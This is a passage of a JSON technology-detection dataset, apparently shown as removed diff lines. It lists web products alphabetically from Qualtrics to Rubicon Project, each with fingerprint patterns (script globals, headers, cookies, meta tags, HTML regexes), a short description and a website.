"js": [ - "qsi.clientsidetargeting" - ], - "description": "Qualtrics is an cloud-based platform for creating and distributing web-based surveys.", - "website": "https://www.qualtrics.com" - }, - "Quanta": { - "cookies": { - "_qta_rum": "" - }, - "js": [ - "quanta.app_id", - "quantatagrumspeedindex" - ], - "description": "Quanta is web performance management solution. Quanta offers the only analytics solution specifically designed to enable business and technical members of ecommerce teams to collaborate effectively with the end in mind: use web performance to directly impact online revenue at all times.", - "website": "https://www.quanta.io" - }, - "Quantcast Choice": { - "description": "Quantcast Choice is a free consent management platform to meet key privacy requirements stemming from ePrivacy Directive, GDPR, and CCPA.", - "website": "https://www.quantcast.com/products/choice-consent-management-platform" - }, - "Quantcast Measure": { - "js": [ - "quantserve" - ], - "description": "Quantcast Measure is an audience insights and analytics tool.", - "website": "https://www.quantcast.com/products/measure-audience-insights" - }, - "Quantum Metric": { - "description": "Quantum Metric is a continuous product design platform that helps organizations build better products faster.", - "website": "https://www.quantummetric.com/" - }, - "Quasar": { - "description": "Quasar is an open-source Vue.js based framework.", - "website": "https://quasar.dev" - }, - "Qubit": { - "js": [ - "__qubit", - "onqubitready" - ], - "description": "Qubit is a SaaS based persuasive personalisation at scale services.", - "website": "https://www.qubit.com" - }, - "Question2Answer": { - "html": [ - "\u003c!-- powered by question2answer" - ], - "implies": [ - "PHP" - ], - "description": "Question2Answer (Q2A) is a popular open-source Q\u0026A platform for PHP/MySQL.", - "website": "http://www.question2answer.org" - }, - "Queue-it": { - "js": [ - "queueit.javascript.version", - "queueit_clientside_config" - ], - "description": "Queue-it is a virtual waiting room platform designed to protect your website and mobile app from slowdowns or crashes during end-user peaks.", - "website": "https://queue-it.com" - }, - "Quick.CMS": { - "html": [ - "\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003ecms by" - ], - "meta": { - "generator": [ - "quick\\.cms(?: v([\\d.]+))?\\;version:\\1" - ] - }, - "website": "http://opensolution.org" - }, - "Quick.Cart": { - "html": [ - "\u003ca href=\"[^\u003e]+opensolution\\.org/\"\u003e(?:shopping cart by|sklep internetowy)" - ], - "meta": { - "generator": [ - "quick\\.cart(?: v([\\d.]+))?\\;version:\\1" - ] - }, - "website": "http://opensolution.org" - }, - "QuickSell": { - "description": "QuickSell is a sales acceleration platform helping businesses transform conversations to conversions by leveraging personal commerce.", - "website": "https://quicksell.co" - }, - "Quicklink": { - "js": [ - "drupalsettings.quicklink", - "quicklink" - ], - "description": "Quicklink is a JS library which aims to be a drop-in solution for sites to prefetch links based on what is in the user's viewport", - "website": "https://getquick.link/" - }, - "Quicq": { - "description": "Quicq is an image optimisation tool by Afosto.", - "website": "https://afosto.com/apps/quicq" - }, - "Quill": { - "js": [ - "quill" - ], - "description": "Quill is a free open-source WYSIWYG editor.", - "website": "http://quilljs.com" - }, - "Quintype": { - "cookies": { - "qtype-session": "" - }, - "headers": { - "link": "fea\\.assettype\\.com/quintype-ace" - }, - "description": "Quintype is a digital publishing platform that provides content management, audience engagement, and monetisation solutions for digital media organisations.", - "website": "https://www.quintype.com" - }, - "Quora Pixel": { - "js": [ - "qp.qp" - ], - "description": "Quora Pixel is a tool that is placed in your website code to track traffic and conversions.", - "website": "https://quoraadsupport.zendesk.com/hc/en-us/categories/115001573928-Pixels-Tracking" - }, - "Qwik": { - "description": "Qwik is designed for the fastest possible page load time, by delivering pure HTML with near 0 JavaScript.", - "website": "https://qwik.builder.io" - }, - "RBS Change": { - "html": [ - "\u003chtml[^\u003e]+xmlns:change=" - ], - "meta": { - "generator": [ - "rbs change" - ] - }, - "implies": [ - "PHP" - ], - "website": "http://www.rbschange.fr" - }, - "RCMS": { - "meta": { - "generator": [ - "^(?:rcms|reallycms)" - ] - }, - "website": "http://www.rcms.fi" - }, - "RD Station": { - "js": [ - "rdstation" - ], - "description": "RD Station is a platform that helps medium and small businesses manage and automate their Digital Marketing strategy.", - "website": "http://rdstation.com.br" - }, - "RDoc": { - "js": [ - "rdoc_rel_prefix" - ], - "html": [ - "\u003clink[^\u003e]+href=\"[^\"]*rdoc-style\\.css", - "generated by \u003ca[^\u003e]+href=\"https?://rdoc\\.rubyforge\\.org[^\u003e]+\u003erdoc\u003c/a\u003e ([\\d.]*\\d)\\;version:\\1", - "generated by \u003ca href=\"https:\\/\\/ruby\\.github\\.io\\/rdoc\\/\"\u003erdoc\u003c\\/a\u003e ([\\d.]*\\d)\\;version:\\1" - ], - "implies": [ - "Ruby" - ], - "description": "RDoc produces HTML and command-line documentation for Ruby projects.", - "website": "https://github.com/ruby/rdoc" - }, - "REDAXO": { - "js": [ - "redaxo" - ], - "implies": [ - "PHP" - ], - "description": "REDAXO is a content management system that provides business optimisation through web projects and output codes.", - "website": "https://redaxo.org" - }, - "REG.RU": { - "description": "REG.RU is a web hosting provider and internet domain registrar.", - "website": "https://www.reg.ru" - }, - "RSS": { - "description": "RSS is a family of web feed formats used to publish frequently updated works—such as blog entries, news headlines, audio, and video—in a standardized format.", - "website": "https://www.rssboard.org/rss-specification" - }, - "RTB House": { - "description": "RTB House is a company that provides learning-powered retargeting solutions for brands and agencies.", - "website": "https://www.rtbhouse.com" - }, - "RX Web Server": { - "headers": { - "x-powered-by": "rx-web" - }, - "website": "http://developers.rokitax.co.uk/projects/rxweb" - }, - "RackCache": { - "headers": { - "x-rack-cache": "" - }, - "implies": [ - "Ruby" - ], - "description": "RackCache is a quick drop-in component to enable HTTP caching for Rack-based applications.", - "website": "https://github.com/rtomayko/rack-cache" - }, - "Rain": { - "description": "Rain is a cloud-based point of sale (POS) system for small to midsized retailers.", - "website": "https://www.rainpos.com" - }, - "RainLoop": { - "js": [ - "rainloop", - "rainloopi18n" - ], - "headers": { - "server": "^rainloop" - }, - "html": [ - "\u003clink[^\u003e]href=\"rainloop/v/([0-9.]+)/static/apple-touch-icon\\.png/\u003e\\;version:\\1" - ], - "meta": { - "rlappversion": [ - "^([0-9.]+)$\\;version:\\1" - ] - }, - "implies": [ - "PHP" - ], - "description": "RainLoop is a web-based email client.", - "website": "https://www.rainloop.net/" - }, - "RaiseDonors": { - "meta": { - "author": [ - "^raisedonors$" - ] - }, - "description": "RaiseDonors is for anyone raising money and cultivating donor relationships online.", - "website": "https://explore.raisedonors.com" - }, - "Raisely": { - "js": [ - "raiselycomponents", - "__raiselydebug", - "wpraisely" - ], - "description": "Raisely is a cloud-based fundraising platform that helps non-profits and charities drive fundraising campaigns and collect donations.", - "website": "https://raisely.com" - }, - "Rakuten": { - "cookies": { - "rakuten-source": "" - }, - "js": [ - "rakutensource", - "rakutenranmid" - ], - "description": "Rakuten (formerly Ebates) allows you to earn cash-back rewards.", - "website": "https://www.rakuten.com/" - }, - "Rakuten Advertising": { - "website": "https://rakutenadvertising.com/" - }, - "Rakuten Digital Commerce": { - "js": [ - "rakutenapplication" - ], - "website": "https://digitalcommerce.rakuten.com.br" - }, - "Ramda": { - "website": "http://ramdajs.com" - }, - "RankMath SEO": { - "description": "RankMath SEO is a search engine optimisation plugin for WordPress.", - "website": "https://rankmath.com" - }, - "Raphael": { - "js": [ - "raphael.version" - ], - "description": "Raphael is a cross-browser JavaScript library that draws Vector graphics for websites.", - "website": "https://dmitrybaranovskiy.github.io/raphael/" - }, - "RapidSec": { - "headers": { - "content-security-policy": "\\.rapidsec\\.net", - "content-security-policy-report-only": "\\.rapidsec\\.net", - "report-to": "\\.rapidsec\\.net" - }, - "description": "RapidSec offers automated client-side security and monitoring.", - "website": "https://rapidsec.com" - }, - "RapidSpike": { - "js": [ - "rspike_timing" - ], - "description": "RapidSpike is an uptime and performance monitoring service for web sites and applications.", - "website": "https://www.rapidspike.com" - }, - "Raptor": { - "js": [ - "onraptorloaded", - "raptorbase64", - "raptor" - ], - "description": "Raptor is a personalisation engine based on machine learning that analyses and learns about the user's behavior and unique browser history.", - "website": "https://raptorsmartadvisor.com" - }, - "Raspbian": { - "headers": { - "server": "raspbian", - "x-powered-by": "raspbian" - }, - "description": "Raspbian is a free operating system for the Raspberry Pi hardware.", - "website": "https://www.raspbian.org/" - }, - "RateParity": { - "description": "RateParity is a conversion rate optimisation platform for hotels.", - "website": "https://www.rateparity.com" - }, - "Rawabit": { - "cookies": { - "rawabit_session": "" - }, - "meta": { - "powered-by": [ - "^rawabit$" - ] - }, - "description": "Rawabit is a website builder that lets small businesses design landing pages, modify sections, and embed content links using a drag and drop editor.", - "website": "https://www.rawabit.me" - }, - "Raychat": { - "js": [ - "raychat" - ], - "description": "Raychat is a free customer messaging platform.", - "website": "https://raychat.io" - }, - "Raygun": { - "js": [ - "raygunfactory", - "raygun", - "raygunenabled" - ], - "description": "Raygun is a cloud-based networking monitoring and bug tracking application.", - "website": "https://raygun.com" - }, - "Rayo": { - "js": [ - "rayo" - ], - "meta": { - "generator": [ - "^rayo" - ] - }, - "implies": [ - "AngularJS", - "Microsoft ASP.NET" - ], - "website": "http://www.rayo.ir" - }, - "Razorpay": { - "js": [ - "razorpay" - ], - "description": "Razorpay is a provider of an online payment gateway that allows businesses to accept, process, and disburse payments.", - "website": "https://razorpay.com/" - }, - "Re:amaze": { - "js": [ - "reamaze.version" - ], - "description": "Re:amaze is a multi-brand customer service, live chat, and help desk solution.", - "website": "https://www.reamaze.com" - }, - "ReCaptcha v2 for Contact Form 7": { - "implies": [ - "Contact Form 7" - ], - "description": "Contact Form 7 v5.1 dropped support for reCaptcha v2 along with the [recaptcha] tag December 2018. This plugin brings that functionality back from Contact Form 7 5.0.5 and re-adds the [recaptcha] tag.", - "website": "https://wordpress.org/plugins/wpcf7-recaptcha/" - }, - "ReConvert": { - "implies": [ - "Shopify" - ], - "description": "ReConvert is a post-purchase upsell \u0026 thank you page.", - "website": "https://www.reconvert.io" - }, - "ReDoc": { - "js": [ - "redoc.version" - ], - "html": [ - "\u003credoc " - ], - "implies": [ - "React" - ], - "description": "Redoc is an open-source tool that generates API documentation from OpenAPI specifications.", - "website": "https://github.com/Rebilly/ReDoc" - }, - "React": { - "js": [ - "react.version", - "reactonrails", - "__react_on_rails_event_handlers_ran_once__" - ], - "html": [ - "\u003c[^\u003e]+data-react" - ], - "meta": { - "description": [ - "^web site created using create-react-app$" - ] - }, - "description": "React is an open-source JavaScript library for building user interfaces or UI components.", - "website": "https://reactjs.org" - }, - "React Bricks": { - "implies": [ - "React" - ], - "description": "React Bricks is a visual editing CMS based on React components.", - "website": "https://reactbricks.com" - }, - "React Redux": { - "implies": [ - "React", - "Redux" - ], - "description": "React Redux is the official React binding for Redux.", - "website": "https://react-redux.js.org/" - }, - "React Router": { - "implies": [ - "React" - ], - "description": "React Router provides declarative routing for React.", - "website": "https://reactrouter.com" - }, - "Reactive": { - "meta": { - "generator": [ - "reactive" - ] - }, - "implies": [ - "Ruby on Rails" - ], - "description": "Reactive is a subscription-based software that allows you to set up an online store and website. It has a CMS and has been created to support retail, coffee bars, restaurants owners and accomodation properties such as hotels or villas. With Reactive one can sell products or accept reservations and online orders.", - "website": "https://reactiveonline.io" - }, - "ReadAloud": { - "description": "The SiteSpeaker text-to-speech widget is embedded into your posts and give users an alternate way to consume your content as audio.", - "website": "https://www.readaloudwidget.com" - }, - "ReadMe": { - "meta": { - "readme-deploy": [ - "^[\\d\\.]+$" - ], - "readme-version": [ - "^[\\d\\.]+$" - ] - }, - "description": "ReadMe is a content management system that businesses use to create and manage technical or API documentation.", - "website": "https://readme.com" - }, - "ReadSpeaker": { - "js": [ - "readspeaker", - "readspeaker.meta.version" - ], - "description": "ReadSpeaker is an intuitive text-to-speech API that converts text into natural-sounding audio files for websites and applications.", - "website": "https://www.readspeaker.com" - }, - "Readymag": { - "meta": { - "generator": [ - "^readymag$" - ] - }, - "description": "Readymag is a browser-based design tool that helps create websites, portfolios and all kinds of online publications without coding.", - "website": "https://readymag.com" - }, - "Really Simple CAPTCHA": { - "description": "Really Simple CAPTCHA does not work alone and is intended to work with other plugins. It is originally created for Contact Form 7, however, you can use it with your own plugin.", - "website": "https://wordpress.org/plugins/really-simple-captcha" - }, - "RebelMouse": { - "headers": { - "x-rebelmouse-cache-control": "", - "x-rebelmouse-surrogate-control": "" - }, - "html": [ - "\u003c!-- powered by rebelmouse\\." - ], - "website": "https://www.rebelmouse.com/" - }, - "Rebuy": { - "js": [ - "rebuyconfig" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Rebuy offers personlisation solutions for ecommerce sites.", - "website": "https://rebuyengine.com/" - }, - "Recapture": { - "description": "Recapture is an abandoned cart recovery and email marketing solution.", - "website": "https://recapture.io" - }, - "Recart": { - "js": [ - "__recart", - "recart" - ], - "description": "Recart is a tool to engage users who abandoned their shopping cart via Facebook Messenger.", - "website": "https://recart.com/" - }, - "Recent Posts Widget With Thumbnails": { - "description": "Recent Posts Widget With Thumbnails is based on the well-known WordPress default widget 'Recent Posts' and extended to display more informations about the posts.", - "website": "https://wordpress.org/plugins/recent-posts-widget-with-thumbnails/" - }, - "Recharge": { - "js": [ - "rechargewidget" - ], - "implies": [ - "Cart Functionality" - ], - "description": "Recharge is the a subscription payments platform designed for merchants to set up and manage dynamic recurring billing across web and mobile.", - "website": "https://rechargepayments.com" - }, - "Recharts": { - "implies": [ - "React" - ], - "description": "Recharts is a component-based charting library, which is exclusively built for React applications.", - "website": "https://recharts.org/" - }, - "Recite Me": { - "description": "Recite Me is a web accessibility overlay that claims to allow website visitors to customize a site in a way that works for them.", - "website": "https://reciteme.com/" - }, - "Recomify": { - "implies": [ - "Shopify" - ], - "description": "Recomify is a 1-click install, cost-effective smart product recommendation engine.", - "website": "https://www.recomify.com" - }, - "RecoverMyCart": { - "implies": [ - "Shopify" - ], - "description": "RecoverMyCart is a Shopify app for abandoned basket recovery.", - "website": "https://app.recovermycart.com/" - }, - "Recruitee": { - "js": [ - "rtapp.mapboxtoken" - ], - "description": "Recruitee is an integrated cloud-based recruitment management and applicant tracking system.", - "website": "https://recruitee.com" - }, - "Recurate": { - "description": "Recurate is a tech-enabled resale service that empowers brands \u0026 retailers to establish their own integrated resale platforms directly on their ecommerce sites.", - "website": "https://www.recurate.com" - }, - "Recurly": { - "js": [ - "recurly.version" - ], - "html": [ - "\u003cinput[^\u003e]+data-recurly" - ], - "description": "Recurly provides enterprise-class subscription billing and recurring payment management for thousands of businesses worldwide.", - "website": "https://recurly.com" - }, - "Red Hat": { - "headers": { - "server": "red hat", - "x-powered-by": "red hat" - }, - "description": "Red Hat is an open-source Linux operating system.", - "website": "https://www.redhat.com" - }, - "Red Hat Gluster": { - "description": "Gluster is a free and open source scalable network filesystem.", - "website": "https://www.gluster.org" - }, - "Red je Pakketje": { - "description": "Red je Pakketje is a Dutch company specialised in same-day-delivery.", - "website": "https://redjepakketje.nl" - }, - "RedCart": { - "cookies": { - "rc2c-erotica": "\\d+" - }, - "js": [ - "rc_shop_id" - ], - "description": "RedCart is an all-in-one ecommerce platform from Poland.", - "website": "https://redcart.pl" - }, - "RedShop": { - "implies": [ - "Amazon S3", - "TypeScript", - "Next.js", - "React" - ], - "description": "RedShop provides a platform for SMEs to manage their ecommerce business.", - "website": "https://www.redshop.io" - }, - "Reddit": { - "js": [ - "reddit" - ], - "html": [ - "(?:\u003ca[^\u003e]+powered by reddit|powered by \u003ca[^\u003e]+\u003ereddit\u003c)" - ], - "implies": [ - "Python" - ], - "website": "http://code.reddit.com" - }, - "Reddit Ads": { - "description": "Reddit Ads is an online advertising offering from Reddit.", - "website": "https://advertising.reddithelp.com/" - }, - "Redis": { - "description": "Redis is an in-memory data structure project implementing a distributed, in-memory key–value database with optional durability. Redis supports different kinds of abstract data structures, such as strings, lists, maps, sets, sorted sets, HyperLogLogs, bitmaps, streams, and spatial indexes.", - "website": "https://redis.io" - }, - "Redis Object Cache": { - "html": [ - "\u003c!--\\s+performance optimized by redis object cache" - ], - "implies": [ - "Redis", - "WordPress" - ], - "website": "https://wprediscache.com" - }, - "Redmine": { - "cookies": { - "_redmine_session": "" - }, - "html": [ - "powered by \u003ca href=\"[^\u003e]+redmine" - ], - "meta": { - "description": [ - "redmine" - ] - }, - "implies": [ - "Ruby on Rails" - ], - "description": "Redmine is a free and open-source, web-based project management and issue tracking tool.", - "website": "http://www.redmine.org" - }, - "Redonner": { - "description": "This company promotes the collection and recycling of textiles by rewarding each donation of clothing made on its website with 'Re' points, allowing you to benefit from advantages and discounts at more than 70 partner brands.", - "website": "https://www.redonner.fr" - }, - "Redux": { - "description": "Redux is a predictable state container for JavaScript applications.", - "website": "https://redux.js.org" - }, - "Redux Framework": { - "meta": { - "framework": [ - "redux\\s([\\d\\.]+)\\;version:\\1" - ], - "generator": [ - "redux\\s([\\d\\.]+)\\;version:\\1" - ] - }, - "description": "Redux Framework is a modular PHP library that allows developers to create customisable settings panels and controls for WordPress projects, providing a consistent user interface for managing options and settings.", - "website": "https://redux.io" - }, - "RedwoodJS": { - "implies": [ - "React", - "GraphQL", - "TypeScript" - ], - "description": "RedwoodJS is a full-stack serverless web application framework built by Tom Preston Werner (co-founder of Github) et al.", - "website": "https://redwoodjs.com" - }, - "Reelevant": { - "js": [ - "reel.companyid" - ], - "headers": { - "content-security-policy": "\\.reelevant\\.com" - }, - "description": "Reelevant is a visual content platform that helps businesses to create on-demand content for their viewers in order to increase conversion rates.", - "website": "https://try.reelevant.com" - }, - "Reevoo": { - "js": [ - "reevooapi", - "reevooaccesscode", - "reevooloader.tracking", - "reevoourl" - ], - "description": "Reevoo is a provider of UGC solutions like reviews.", - "website": "https://www.reevoo.com" - }, - "ReferralCandy": { - "description": "ReferralCandy is a marketing platform that gets shoppers to refer their friends.", - "website": "https://www.referralcandy.com" - }, - "Refersion": { - "description": "Refersion is an affiliate management app.", - "website": "http://refersion.com" - }, - "Reflektion": { - "js": [ - "rfk_deploy_time", - "rfkparams" - ], - "description": "Reflektion is a customer centric personalisation platform that optimizes customer experiences on an individual basis in real time.", - "website": "https://reflektion.com" - }, - "Refundid": { - "js": [ - "launchrefundidpopup" - ], - "description": "Refundid provides ecommerce customers instant refunds for their online returns.", - "website": "https://refundid.com" - }, - "Regiondo": { - "description": "Regiondo is a online booking system for tour and activity providers.", - "website": "https://www.regiondo.com" - }, - "Reinvigorate": { - "js": [ - "reinvigorate" - ], - "website": "http://www.reinvigorate.net" - }, - "Relais Colis": { - "description": "Relais Colis is a French parcel delivery network.", - "website": "https://www.relaiscolis.com" - }, - "Relewise": { - "js": [ - "relewiseconfig", - "relewisetracking" - ], - "description": "Relewise is a platform that uses personalisation technology to provide customised online experiences through personalised search and recommendations.", - "website": "https://relewise.com" - }, - "Remarkable Commerce": { - "js": [ - "remarkable.basketitems" - ], - "description": "Remarkable Commerce is a technology and services company which provides a ecommerce platform for mid-sized retailers.", - "website": "https://remarkable.net/" - }, - "Remix": { - "js": [ - "__remixcontext" - ], - "implies": [ - "React" - ], - "description": "Remix is a React framework used for server-side rendering (SSR).", - "website": "https://remix.run/" - }, - "Remixd": { - "description": "Remixd is a platform that enables podcast creators to efficiently produce and share their podcasts with a worldwide audience. The platform provides various tools and features to support podcast creation, hosting, and distribution, such as podcast hosting, analytics, monetisation, and social media integration.", - "website": "https://www.remixd.com" - }, - "Render": { - "headers": { - "x-render-origin-server": "render" - }, - "description": "Render is a cloud computing platform that provides a wide range of services, including web hosting, cloud computing, and application development. Render offers several hosting options, including static site hosting, web application hosting, and managed databases.", - "website": "https://render.com" - }, - "Render Better": { - "js": [ - "renderbetter" - ], - "description": "Render Better is automated site speed and core web vital optimisation platform for Shopify.", - "website": "https://www.renderbetter.com" - }, - "Replicache": { - "headers": { - "x-replicache-requestid": "" - }, - "description": "Replicache is a JavaScript framework for building high-performance, offline-capable, collaborative web apps.", - "website": "https://replicache.dev/" - }, - "Replit": { - "headers": { - "expect-ct": "\\.repl\\.it/", - "replit-cluster": "" - }, - "description": "Replit is a platform for creating and sharing software.", - "website": "https://replit.com" - }, - "Reputon": { - "description": "Reputon is an customer reviews Shopify app.", - "website": "https://reputon.com" - }, - "RequireJS": { - "js": [ - "requirejs.version" - ], - "description": "RequireJS is a JavaScript library and file loader which manages the dependencies between JavaScript files and in modular programming.", - "website": "http://requirejs.org" - }, - "ResDiary": { - "description": "ResDiary, is a online reservation system for hospitality operators.", - "website": "https://www.resdiary.com" - }, - "Resengo": { - "js": [ - "wpjsonpresengoreservationwidget" - ], - "description": "Resengo is a restaurant table booking widget.", - "website": "https://wwc.resengo.com" - }, - "Reserve In-Store": { - "js": [ - "reserveinstore.version", - "reserveinstorejsurl" - ], - "implies": [ - "Shopify" - ], - "description": "Reserve In-Store app will allow customers to reserve an item in your store online to come to pick it up or view the item before making the purchase.", - "website": "https://www.reserveinstore.com" - }, - "Reservio": { - "description": "Reservio is a cloud-based appointment scheduling and online booking solution.", - "website": "https://www.reservio.com" - }, - "Resin": { - "headers": { - "server": "^resin(?:/(\\s*))?\\;version:\\1" - }, - "implies": [ - "Java" - ], - "website": "http://caucho.com" - }, - "Resmio": { - "js": [ - "resmiobutton" - ], - "description": "Resmio is a restaurant table booking widget.", - "website": "https://www.resmio.com" - }, - "Resova": { - "js": [ - "baseurl", - "initresova" - ], - "description": "Resova is an online booking software.", - "website": "https://resova.com" - }, - "Responsive Lightbox \u0026 Gallery": { - "js": [ - "rl_hide_image", - "rl_view_image", - "rlargs.activegalleries" - ], - "description": "Responsive Lightbox \u0026 Gallery plugin is a lightweight WordPress gallery plugin by Digital Factory.", - "website": "https://dfactory.eu/products/responsive-lightbox-gallery-extensions/" - }, - "ResponsiveVoice": { - "js": [ - "responsivevoice.version" - ], - "description": "ResponsiveVoice is a Text-To-Speech API supported in 51 languages.", - "website": "https://responsivevoice.org" - }, - "Resy": { - "js": [ - "resywidget" - ], - "description": "Resy is an technology and media company that provides an app and back-end management software for restaurant reservations.", - "website": "https://resy.com" - }, - "Retail Rocket": { - "cookies": { - "rr-testcookie": "testvalue", - "rrpvid": "^\\d+$" - }, - "js": [ - "rrapionready", - "rrlibrary", - "rrpartnerid", - "retailrocket", - "rraddtobasket" - ], - "description": "Retail Rocket is a big data-based personalisation platform for ecommerce websites.", - "website": "https://retailrocket.net" - }, - "Return Prime": { - "description": "Return Prime is an application to manage returns for Shopify stores.", - "website": "https://www.returnprime.com/" - }, - "ReturnGO": { - "js": [ - "returngocanberun", - "returngointegrationdata" - ], - "description": "ReturnGO's AI-driven returns management platform significantly improves customer lifetime value and post-purchase experience.", - "website": "https://returngo.ai" - }, - "Returnly": { - "js": [ - "returnly.containerswitcher", - "returnly.internaleventtracker" - ], - "description": "Returnly is the provider of digital return experiences for direct-to-consumer brands.", - "website": "https://returnly.com" - }, - "Retype": { - "meta": { - "generator": [ - "retype\\s([\\d\\.]+)?\\;version:\\1" - ] - }, - "implies": [ - "Node.js" - ], - "description": "Retype is an open-source static site generator built with Node.js that allows users to create and manage websites with ease using Markdown as the primary content format.", - "website": "https://retype.com" - }, - "RevJet": { - "description": "RevJet is the first comprehensive Ad Experience Platform, for every audience, channel, format, inventory, and device.", - "website": "https://www.revjet.com" - }, - "RevLifter": { - "cookies": { - "revlifter": "" - }, - "js": [ - "revlifterobject", - "revlifter" - ], - "description": "RevLifter is an AI-powered coupon technology which allows brands to offer personalised incentives to their customers based on real-time basket data.", - "website": "https://www.revlifter.com" - }, - "Reveal.js": { - "js": [ - "reveal.version" - ], - "implies": [ - "Highlight.js" - ], - "website": "http://lab.hakim.se/reveal-js" - }, - "Revel": { - "cookies": { - "revel_flash": "", - "revel_session": "" - }, - "implies": [ - "Go" - ], - "website": "https://revel.github.io" - }, - "RevenueHunt": { - "description": "RevenueHunt is an affiliate marketing and advertising company specializing in paid surveys and cost per lead campaigns.", - "website": "https://revenuehunt.com" - }, - "Revieve": { - "js": [ - "revieve.__esmodule", - "revieveconfig.onclickproduct" - ], - "description": "Revieve is a technology company delivering consumer-centric personalised digital brand experiences powered by AI/AR.", - "website": "https://www.revieve.com" - }, - "ReviewSolicitors": { - "js": [ - "rs.getwidgethtml" - ], - "description": "ReviewSolicitors is a free and independent client-led review platform focusing on the UK legal market.", - "website": "https://www.reviewsolicitors.co.uk" - }, - "Reviews.io": { - "js": [ - "reviewsio_hasvoted", - "reviewsio_sharelink" - ], - "description": "Reviews.io is a review collection tool for companies to collect merchant (company) \u0026 product reviews from genuine customers, then share these on Google.", - "website": "https://www.reviews.io" - }, - "RevolverMaps": { - "description": "RevolverMaps is a collection of real-time visitor statistics widgets for website or blog. Interactive visitor mappings to a globe rendered by the Revolver Engine.", - "website": "https://www.revolvermaps.com" - }, - "Revv": { - "meta": { - "revv-api-domain": [] - }, - "description": "Revv is a lead optimisation and donation platform.", - "website": "https://revv.com" - }, - "Revy": { - "js": [ - "revybundle", - "revyupsell", - "revyapp" - ], - "description": "Revy is dedicated to build Shopify Apps to generate more sales for merchants.", - "website": "https://revy.io" - }, - "Rewardful": { - "js": [ - "rewardful" - ], - "description": "Rewardful is a way for SaaS companies to setup affiliate and referral programs with Stripe.", - "website": "https://www.getrewardful.com/" - }, - "Rezdy": { - "description": "Rezdy is an online booking software for tours and attractions.", - "website": "https://www.rezdy.com" - }, - "Rezgo": { - "description": "Rezgo is a tour operator software that provides online booking system.", - "website": "https://www.rezgo.com" - }, - "RichRelevance": { - "js": [ - "rr.u", - "rr_v" - ], - "description": "RichRelevance is a cloud-based omnichannel personalisation platform built to help Retailers, B2B, financial services, travel and hospitality, and branded manufacturers personalise their customer experiences.", - "website": "https://richrelevance.com" - }, - "Richpanel": { - "js": [ - "richpanelappproxy", - "richpanel_messenger_url", - "richpanel.plugin_api_url" - ], - "description": "Richpanel is a purpose-built CRM and customer support platform for ecommerce and DTC brands.", - "website": "https://www.richpanel.com" - }, - "Rickshaw": { - "js": [ - "rickshaw" - ], - "implies": [ - "D3" - ], - "website": "http://code.shutterstock.com/rickshaw/" - }, - "RightJS": { - "js": [ - "rightjs" - ], - "description": "RightJS is a modular JavaScript framework.", - "website": "https://github.com/rightjs" - }, - "Riot": { - "js": [ - "riot" - ], - "website": "https://riot.js.org/" - }, - "Ripple": { - "headers": { - "x-sdp-app-type": "ripple" - }, - "implies": [ - "Nuxt.js", - "Vue.js", - "Drupal" - ], - "description": "Ripple is the frontend framework for Single Digital Presence, delivered using Nuxt and Vue.js.", - "website": "https://dpc-sdp.github.io/sdp-docs/ripple/" - }, - "Rise.ai": { - "js": [ - "rise.shop", - "risestorefront" - ], - "description": "Rise.ai is a strategic re-engagement solution that provides brands and retailers with a unique currency of their own.", - "website": "https://rise.ai" - }, - "Riskified": { - "js": [ - "riskx", - "riskifiedbeaconload" - ], - "headers": { - "server": "riskified server" - }, - "html": [ - "\u003c[^\u003e]*beacon\\.riskified\\.com", - "\u003c[^\u003e]*c\\.riskified\\.com" - ], - "description": "Riskified is a privately held company that provides SaaS fraud and chargeback prevention technology.", - "website": "https://www.riskified.com/" - }, - "RiteCMS": { - "meta": { - "generator": [ - "^ritecms(?: (.+))?\\;version:\\1" - ] - }, - "implies": [ - "PHP", - "SQLite\\;confidence:80" - ], - "website": "http://ritecms.com" - }, - "Rive": { - "js": [ - "rive.rive" - ], - "description": "Rive is a real-time interactive design and animation tool.", - "website": "https://rive.app" - }, - "RoadRunner": { - "headers": { - "server": "roadrunner" - }, - "implies": [ - "PHP" - ], - "description": "RoadRunner is a high-performance PHP application server, load balancer, and process manager written in Golang.", - "website": "https://roadrunner.dev" - }, - "Roadiz CMS": { - "headers": { - "x-powered-by": "roadiz cms" - }, - "meta": { - "generator": [ - "^roadiz ?(?:master|develop)? v?([0-9\\.]+)\\;version:\\1" - ] - }, - "implies": [ - "PHP", - "Symfony" - ], - "website": "https://www.roadiz.io" - }, - "Robin": { - "js": [ - "robin_settings", - "robin_storage_settings", - "_robin_getrobinjs" - ], - "website": "http://www.robinhq.com" - }, - "RockRMS": { - "meta": { - "generator": [ - "^rock v([0-9.]+)\\;version:\\1" - ] - }, - "implies": [ - "Windows Server", - "IIS", - "Microsoft ASP.NET" - ], - "description": "Rock RMS is a free, open-source Relationship Management System (RMS) built for churches and businesses.", - "website": "http://www.rockrms.com" - }, - "Rockerbox": { - "js": [ - "rb.source" - ], - "description": "Rockerbox is a provider of multi-touch attribution software.", - "website": "https://www.rockerbox.com" - }, - "Rocket.Chat": { - "js": [ - "rocketchat.livechat" - ], - "description": "Rocket.Chat is a communication hub that facilitates team collaboration and organizes conversations.", - "website": "https://rocket.chat" - }, - "Rocketfy": { - "meta": { - "generator": [ - "^rocketfy\\smaker\\s-\\sv([\\d\\.]+)$\\;version:\\1" - ] - }, - "implies": [ - "React", - "Next.js" - ], - "description": "Rocketfy is a platform that allows users to build an online store and allows dropshipping at the same time.", - "website": "https://rocketfy.mx" - }, - "Roistat": { - "js": [ - "roistathost", - "roistatprojectid" - ], - "description": "Roistat is a marketing analytics system.", - "website": "https://roistat.com/" - }, - "Rokt": { - "headers": { - "content-security-policy": "\\.rokt\\.com" - }, - "description": "Rokt is an ecommerce marketing technology that gives customers a personalised and relevant experience while buying online.", - "website": "https://www.rokt.com" - }, - "Rollbar": { - "website": "https://rollbar.com/" - }, - "Rotic": { - "js": [ - "rotic.setting" - ], - "description": "Rotic is a conversion chatbot that answers questions, captures contacts, and books meetings.", - "website": "https://rotic.io" - }, - "RoundCube": { - "js": [ - "rcmail", - "roundcube" - ], - "html": [ - "\u003ctitle\u003eroundcube" - ], - "implies": [ - "PHP" - ], - "description": "RoundCube is free and open-source web-based IMAP email client.", - "website": "http://roundcube.net" - }, - "Route": { - "js": [ - "routeapp" - ], - "description": "Route is a delivery and shipping tracking app", - "website": "https://route.com/" - }, - "Royal Mail": { - "description": "Royal Mail is a British multinational postal service and courier company.", - "website": "https://www.royalmail.com" - }, - "Rubicon Project": { - "description": "Rubicon Project is an 